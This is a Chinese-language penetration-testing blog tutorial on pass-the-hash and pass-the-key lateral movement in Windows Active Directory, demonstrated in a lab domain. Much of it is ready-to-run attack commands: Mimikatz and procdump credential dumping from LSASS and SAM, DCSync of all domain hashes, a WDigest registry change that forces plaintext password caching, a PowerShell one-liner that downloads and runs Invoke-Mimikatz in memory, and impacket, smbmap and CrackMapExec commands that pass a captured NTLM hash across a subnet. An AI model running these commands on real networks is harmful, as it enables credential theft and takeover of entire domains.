0x00 前言
横向渗透中的哈希传递攻击,这一部分在内网渗透中是十分关键的。在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域/工作组环境。
下面我们先来了解一些基础概念,然后再进行实战攻击。
0x01 基础概念
什么是PTH攻击
哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统。 攻击者无须通过解密hash值来获取明文密码。因为对于每个Session hash值都是固定的,除非密码被修改了(需要刷新缓存才能生效),所以pth可以利用身份验证协议来进行攻击。 攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。
虽然哈希传递攻击可以在Linux,Unix和其他平台上发生,但它们在windows系统上最普遍。 在Windows中,pth通过NT Lan Manager(NTLM),Kereros和其他身份验证协议来进行单点登录。在Windows中创建密码后,密码经过哈希化处理后存储在安全账户管理器(SAM),本地安全机构子系统(LSASS)进程内存,凭据管理器(CredMan),Active Directory中的ntds.dit数据库或者其他地方。因此,当用户登录windows工作站或服务器时,他们实际上会留下密码凭据(hash)。
PTH 的影响
从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash。在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,只能读取哈希值。虽然此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
然后强制要求lsass.exe来缓存明文密码再进行抓取,但是这种方式要求系统重启或者用户重新登录,在实战中操作起来成功率还是比较低的。
通过明文密码来横向移动是极其有效的,一个是通用弱口令,一个是密码规律的猜测,在大量机器的环境中都是很可能存在的,但是随着系统版本迭代,我们获取到明文密码的难度越来越大,但是hash的获取是固定存在的,因为window中经常需要用hash来进行验证和交互。所以利用hash来进行横向移动在内网渗透中经常充当主力的角色。
Hash的认识
既然是pass the hash,那么我就先来了解一下什么是Windows中的Hash。
在前面写了几遍有关于NTLM的文章,大家可以结合起来一起学习:
LM Hash
LM(LAN Mannager) 协议使用的hash就叫做 LM Hash, 由IBM设计和提出, 在过去早期使用。
由于其存在比较多的缺点,比较容易破解。
自WindowsVista和Windows Server 2008开始,Windows取消LM hash。
但是在win2003中还是存在的,通过爆破LM Hash来获取明文还是比较可行的。
- LM Hash生成过程
- 用户的密码被限制为最多14个字符。
- 用户的密码转换为大写。
- 密码转换为16进制字符串,不足14字节将会用0来再后面补全。
- 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度,再分7bit为一组末尾加0,组成新的编码(str_to_key()函数处理)
- 上步骤得到的8byte二组,分别作为DES key为"KGS!@#$%“进行加密。
- 将二组DES加密后的编码拼接,得到最终LM HASH值。
下面是python写的加密脚本:
# coding=utf-8
import base64
import binascii
from pyDes import *
def DesEncrypt(str, Des_Key):
k = des(Des_Key, ECB, pad=None)
EncryptStr = k.encrypt(str)
return binascii.b2a_hex(EncryptStr)
def Zero_padding(str):
b = []
l = len(str)
num = 0
for n in range(l):
if (num < 8) and n % 7 == 0:
b.append(str[n:n + 7] + '0')
num = num + 1
return ''.join(b)
if __name__ == "__main__":
test_str = "123456"
# 用户的密码转换为大写,并转换为16进制字符串
test_str = test_str.upper().encode('hex')
str_len = len(test_str)
# 密码不足14字节将会用0来补全
if str_len < 28:
test_str = test_str.ljust(28, '0')
# 固定长度的密码被分成两个7byte部分
t_1 = test_str[0:len(test_str) / 2]
t_2 = test_str[len(test_str) / 2:]
# 每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
t_1 = bin(int(t_1, 16)).lstrip('0b').rjust(56, '0')
t_2 = bin(int(t_2, 16)).lstrip('0b').rjust(56, '0')
# 再分7bit为一组末尾加0,组成新的编码
t_1 = Zero_padding(t_1)
t_2 = Zero_padding(t_2)
print t_1
t_1 = hex(int(t_1, 2))
t_2 = hex(int(t_2, 2))
t_1 = t_1[2:].rstrip('L')
t_2 = t_2[2:].rstrip('L')
if '0' == t_2:
t_2 = "0000000000000000"
t_1 = binascii.a2b_hex(t_1)
t_2 = binascii.a2b_hex(t_2)
# 上步骤得到的8byte二组,分别作为DES key为"KGS!@#$%"进行加密。
LM_1 = DesEncrypt("KGS!@#$%", t_1)
LM_2 = DesEncrypt("KGS!@#$%", t_2)
# 将二组DES加密后的编码拼接,得到最终LM HASH值。
LM = LM_1 + LM_2
print LM
因为在windows 7以上的版本是默认不启用LM hash的,所以要手动修改。
gpedit.msc-计算机配置-Windows 设置-安全设置-本地策略-安全选项
找到网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值,选择已禁用
系统下一次更改密码后,就能够导出LM hash。
在我测试环境的系统发现这一项都默认启用而且不能修改
- LM Hash的缺点
-
密码长度最大只能为14个字符
-
密码不区分大小写(加密过程统一转换为大写,导致的)
-
加密结果后16位为aad3b435b51404ee,则说明密码强度小于7位。(如果不够7位的话,后面需要用0来补全)
NTLM Hash
为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。
也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NTLM Hash,LM Hash将不再存在。如果空密码或者不储蓄LM Hash的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE。
所以在真实环境中我们看到抓到LM Hash都是AAD3B435B51404EEAAD3B435B51404EE,这里的LM Hash并没有价值。
NTLM Hash 生成过程
- 先将用户密码转换为十六进制格式。
- 将十六进制格式的密码进行Unicode编码。
- 使用MD4摘要算法对Unicode编码数据进行Hash计算
可以使用python进行生成:
python2 -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "admin".encode("utf-16le")).digest())'
NTLM hash本地的认证
当用户注销、重启、锁屏之后,windows会让winlogon显示登陆界面,接收用户的输入之后,会将将密码交付给lsass进程,这个进程会将明文密码加密成NTLM hash,再与SAM数据库里对应的用户密码做对比。
- winlogon(Windows logon process)windows注册进程:是windows NT 用户的登陆程序,用于管理用户的登陆与退出
- lsass( Local Security Authority Service): 用于本地安全与登陆策略
- SAM(Security Account Manager 安全账户管理):windows采用的账户管理策略,这个策略会将本地组的用户的账户和hash加密之后保存到SAM数据库中,SAM数据库文件路径是
%systemroot%\system32\config\SAM
文件
本机的用户密码hash是放在本地的SAM文件里面,域内用户的密码hash存在域控的NTDS.DIT文件的。
关于NTLM的认证协议这里就不再具体展开了,可以查阅Windows内网协议学习NTLM篇之NTLM基础介绍
这里只要我们知道LM Hash已经不在新的系统中使用了,我们pth主要的攻击是针对NTLM Hash。
0x02 实战
攻击思路
首先我们假设拿到了一台内网机器,这台内网机器可能是域用户可能也是本地用户,首先要通过提权到system权限才可以导出hash值,然后利用本地保存的hash去登录内网的其他机器,还可以执行批量的操作。
在域环境中,利用pass the hash的渗透方式往往是这样的:
- 获得一台域主机的权限
- Dump内存获得用户hash
- 通过pass the hash尝试登录其他主机
- 继续搜集hash并尝试远程登录
- 直到获得域管理员账户hash,登录域控,最终成功控制整个域
比如我们现在的环境是:
DC:172.16.0.106(域管用户testuser)
Win7:172.16.0.105(本地管理员sc92n)
域:hack.lab
我们需要从win 7登录到DC,现在我们先去利用工具获取到hash的值。
获取Hash
我们进行pth的过程需要获取到相关的hash才可以进行。
Mimikatz
可以到GitHub下载新版的:https://github.com/gentilkiwi/mimikatz
读取lsass进程的信息:
privilege::debug
sekurlsa::msv
如下图:
当然也可以用下面的命令获取全部用户的密钥和明文:
privilege::debug
sekurlsa::logonPasswords
如下图:
读取SAM数据库获取用户Hash,获取系统所有本地用户的hash:
privilege::debug
token::elevate
lsadump::sam
如下图:
也可以使用dcsync
功能导出域内的所有hash:
lsadump::dcsync /domain:test.local /all /csv
Cobalt Strike
这块没有测试的环境就不再展开,相信熟悉cs的小伙伴也知道这个功能,具体功能在:
选中客户端列表->右键选择Access的模块中的Dump Hashes
读取到的凭证可以在菜单栏的view-Credentials
中查看。
-
导出域内的所有hash可以使用Beacon的hashdump。
-
导出域内的所有hash可以使用Beacon的dcsync
查询域内所有hash
dcsync [DOMAIN.FQDN]
查询指定用户hash
dcsync [DOMAIN.FQDN] [DOMAIN\user]
Invoke-Mimikatz.ps1
这个是mimikatz的powershell版本,也经常用于在内网渗透中,相对于exe的版本会方便许多。
该脚本集成在PowerSploit项目中,下载地址:Invoke-Mimikatz.ps1
这个工具在另外一篇文章有写过具体的用法Powershell在渗透测试中的利用
-
无文件读取方式
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
-
读取sam数据库
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command \"privilege::debug token::elevate lsadump::sam exit\""
在这里插一点内容,主要是获取域用户的hash值,也可以使用Empire的Invoke-DCSync.ps1工具来获取:
导出域内所有用户的hash
Invoke-DCSync -DumpForest | ft -wrap -autosize
导出指定账户的hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
CrackMapExec
该工具也可以导出hash,而且还是批量的,具体在官方gitbook上写得很明细了,这里不再展开,后续会专门写一遍关于该工具的文章。
安装方法:
https://mpgn.gitbook.io/crackmapexec/getting-started/installation
导出凭证(需要有管理员权限):
https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials
转储lsass进程
因为我们的凭证除了报错在sam文件中,还可以在lsass进程保存,现在找到lsass进程,然后创建转储文件:
一般会保存在C:\Users\用户名\AppData\Local\Temp\lsass.DMP
将该文件下载回来放置在Mimikatz的同目录下,然后执行:
sekurlsa::minidump lsass.DMP
sekurlsa::logonPasswords full
当然我们也可以使用procdump
这个程序来导出lsass.dmp,只需在命令行获取system权限操作即可。
该工具是微软官方的一款工具:Download ProcDump
执行以下命令即可导出lass.dmp:
32位机器:procdump.exe -accepteula -ma lsass.exe lsass.dmp
64位机器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
Pass The Hash
如果内网主机的本地管理员账户密码相同,那么可以通过pass the hash远程登录到任意一台主机,操作简单、威力无穷。
下面会使用几种方法来进行攻击,用到的工具有Smbmap、CrackMapExec、Smbexec等。
比如我们现在的环境是:
DC:172.16.0.106(域管用户testuser)
Win7:172.16.0.105(从这台获取到了hash)
kali:172.16.0.107
域:hack.lab
testuser的hash:de26cce0356891a4a020e7c4957afc72
Smbmap
SMBMAP允许用户在整个域中枚举Samba共享驱动器。列出共享驱动器,驱动程序权限,共享内容,上载/下载功能,文件名自动下载模式匹配,甚至执行远程命令。
下载:
git clone https://github.com/ShawnDEvans/smbmap
cd smbmap
安装一下模块:
python3 -m pip install -r requirements.txt
这款工具kali也有内置,我们可以直接使用:
smbmap -u testuser -p 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72' -H 172.16.0.106 -d hack.lab -x 'whoami'
aad3b435b51404eeaad3b435b51404ee上我们讲过是LM hash默认的值
如下图所示:
smbexec.py
smbexec.py是impacket里面的一个工具,在kali是已经预装好的,如果没有安装可以用以下命令进行安装:
python3 -m pip install impacket
发起pth攻击命令如下:
smbexec.py hack.lab/[email protected] -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72'
结果如下图:
Invoke-SMBExec
当然,除了有python版本也有powershell的版本,在Invoke-TheHash项目中有个脚本文件Invoke-SMBExec.ps1
,大家可以直接在上面进行下载
下载链接:Invoke-SMBExec.ps1
执行命令如下:
Import-Modle .\Invoke-SMBExec.ps1
Invoke-SMBExec -Target 172.16.0.106 -Domain hack.lab -Username testuser -Hash de26cce0356891a4a020e7c4957afc72 -Command "calc.exe" -verbose
结果如下:
因为这款工具执行命令不会返回结果,可以使用cs或者msf的powershell命令进行远程上线,上面的命令执行后会在目标主机生成一个当前权限的计算器:
Invoke-WMIExec
同样是在在Invoke-TheHash项目的一个脚本,叫做Invoke-WMIExec.ps1
。
用法跟上面是一致的,只是利用的方式不相同而已:
Import-Modle .\Invoke-WMIExec.ps1
Invoke-WMIExec -Target 172.16.0.106 -Domain hack.lab -Username testuser -Hash de26cce0356891a4a020e7c4957afc72 -Command "calc.exe" -verbose
wmiexec
当然还有它的python版本,也是在是impacket里面的一个工具,在kali是已经预装好的,用法跟smbexec.py是一致的:
wmiexec.py hack.lab/testuser@172.16.0.106 -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72'
结果如下图:
Atexec
这个就是自动化实现计划任务的方式,也是在是impacket里面的一个工具。
使用方法如下:
atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72 hack.lab/[email protected] whoami
如下图:
Mimikatz
又是耳熟能详的Mimikatz大杀器了,mimikatz的pth功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程lsass.exe的信息。
可以到GitHub下载新版的:https://github.com/gentilkiwi/mimikatz
可以看到我们一开始无法连接到dc服务器查看c盘下的文件:
我们在主机上启动我们的mimikatz工具,执行以下命令:
privilege::debug
sekurlsa::pth /user:testuser /domain:hack.lab /ntlm:de26cce0356891a4a020e7c4957afc72
就会弹出一个cmd命令窗口,这次我们再次输入就能重新列出dc上c盘的文件:
psexec
当然也少不了我们的psexec大杀器,这是在微软官方提供的一个 PsTools 工具包里面,虽然不用做免杀,但是会在系统日志中留下记录。
官方的下载地址:PsExec - Windows Sysinternals
PsExec 的基本原理是:通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成一个名为”PSEXESVC“的二进制文件,然后通过 psexec 服务运行命令,运行结束后删除服务。由于创建或删除服务时会产生大量的日志,可以在攻击溯源时通过日志反推攻击流程。
需要远程系统开启admin共享(默认是开启的),原理是基于IPC共享,目标需要开放445端口和admin在使用IPC连接目标系统后,不需要输入账户和密码。
使用方法:
PsExec.exe \\172.16.0.105 -u hack.lab\lucky -p p@ssw0rd cmd /c "ipconfig"
因为官方的工具只支持明文建立链接,所以我们可以使用python版本的,也是在Impacket工具包中的使用方法如下:
psexec.py hack.lab/[email protected] -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72'
结果如下图:
CrackMapExec
上面在获取hash的时候也有介绍一点,现在pth也可以利用到这款工具。本节安装在kali选的是Linux,其他版本可以到GitHub上下载CrackMapExec
安装:
sudo apt install crackmapexec
使用方法也很简单,执行以下命令即可:
crackmapexec smb 172.16.0.106 -u testuser -H de26cce0356891a4a020e7c4957afc72 -x whoami -d hack.lab
如图所示:
Pass The Key
在2014年微软终于发布了更新补丁kb2871997,禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享。
但是上面的描述不是很正确的,之前也有发文说这个补丁阻止了pth,三年后还发了一篇澄清文章:Pass-the-Hash Is Dead
关于这个补丁的详细分析可以参考问KB22871997是否真的能防御PTH攻击?
那么什么才叫做pass the key呢?
- 但是在Overpass-the-hash和三好学生中pass the hash的文章中解释的是:
-
禁用NTLM使得psexec无法利用获得的ntlm hash进行远程连接,虽然”sekurlsa::pth”在mimikatz中被称之为”Pass The Hash”,但是其已经超越了以前的”Pass The Hash”,部分人将其命名为”Overpass-the-hash”,也就是”Pass-the-key”
-
将哈希注入到 msv1_0和kerberos 提供程序中,从而可以响应 NTLM 挑战并获得 Kerberos TGT。
-
在windows-protocol和《内网安全渗透》一书中提到的是:
用ntlm传递那就是pass the hash,用mimikatz的
sekurlsa::ekeys
那就称为pass the key。
我的理解就是pass the key是用kerberos方式进行传递,pass the hash是用NTLM的方式进行传递。
我也在本地测试过,跟KB22871997是否真的能防御PTH攻击?文章的结果是一样的,有没有安装kb2871997补丁都是没办法使用加入管理员组的用户进行pth。
在文章内网渗透拿不到密码怎么办?试试Pass-The-Hash当中有个一句描述这个问题:
工作组环境下:
Windows Vista之前的机器,可以使用本地管理员组内用户进行攻击 windows Vista之后的机器,只能是administrator用户才能进行攻击,其他用户会提示拒绝访问
域环境下:
域内任意一台主机的本地管理员权限和域管理员密码的NTLM hash值,可进行pth攻击
由于Pass-The-Hash在win7的工作组环境下只支持在administrator用户的情况下才能利用,而windows默认是关闭这个用户的
所以不是因为这个补丁而导致我们用户一般情况下不能使用pth的,使用sid为500的adminisitrator确实是可以使用pth。
使用aes key的方式进行ptk是否要安装补丁呢?
在网上的文章中和《内网安全渗透》一书都有一个描述:
ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.
就是说如果不安装这个补丁就不能使用aes key的方式进行ptk,但是我在测试了无数次,在没有补丁的情况,还是可以使用ptk的方式进行传递的。
我们使用系统命令查看是否安装了该补丁:
systeminfo | findstr "kb2871997"
aes key的获取方式:
privilege::debug
sekurlsa::ekeys
测试没有补丁的情况下:
补丁可以从这里下载2871997。
注意这个补丁是安装在本地的
我们在有补丁测试:
可以看出来好像并不是因为有这个补丁而导致aes key,看上面的文章有总结到aes key的地方:
“受保护的用户”组支持(强制Kerberos身份验证以实施AES加密)
1.当“域功能级别”设置为Windows Server 2012 R2时,将创建“受保护的用户”组。
2.受保护的用户组中的帐户只能使用Kerberos协议进行身份验证,拒绝NTLM,摘要式身份验证和CredSSP。
3.Kerberos拒绝DES和RC4加密类型进行预身份验证-必须将域配置为支持AES或更高版本。
4.不能使用Kerberos约束或不受约束的委托来委托受保护用户的帐户。
5.受保护的用户可以使用“身份验证策略”很好地工作。
所以归纳总结:Pass the key就是使用AES256或者AES128的方式进行传递。
pth批量横向移动
CrackMapExec
CrackMapExec集成了wmiexec、atexe、smbexec的方式,集成了smb扫描,口令爆破等功能,非常适合拿来快速移动。
我们可以扫描内网中的445端口开放情况:
crackmapexec smb 172.16.0.100/24
如下图:
使用批量传递hash的命令:
crackmapexec smb 172.16.0.100/24 -u testuser -H de26cce0356891a4a020e7c4957afc72 -d hack.lab
因为我这个是域管理账户,所以都能登录,(Pwn3d!代表用户名和hash正确)
如下图:
Cobalt Strike
cs大家应该很熟悉了,这块我没搭环境,主要是在目标(target)当中选中目标右键选择要pth的方式即可。
0x03 参考
http://drops.xmd5.com/static/drops/tips-11631.html
https://www.anquanke.com/post/id/193150
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Pass-The-Hash%E7%9A%84%E5%AE%9E%E7%8E%B0
https://www.anquanke.com/post/id/193149
…
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/ad_pass_key.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。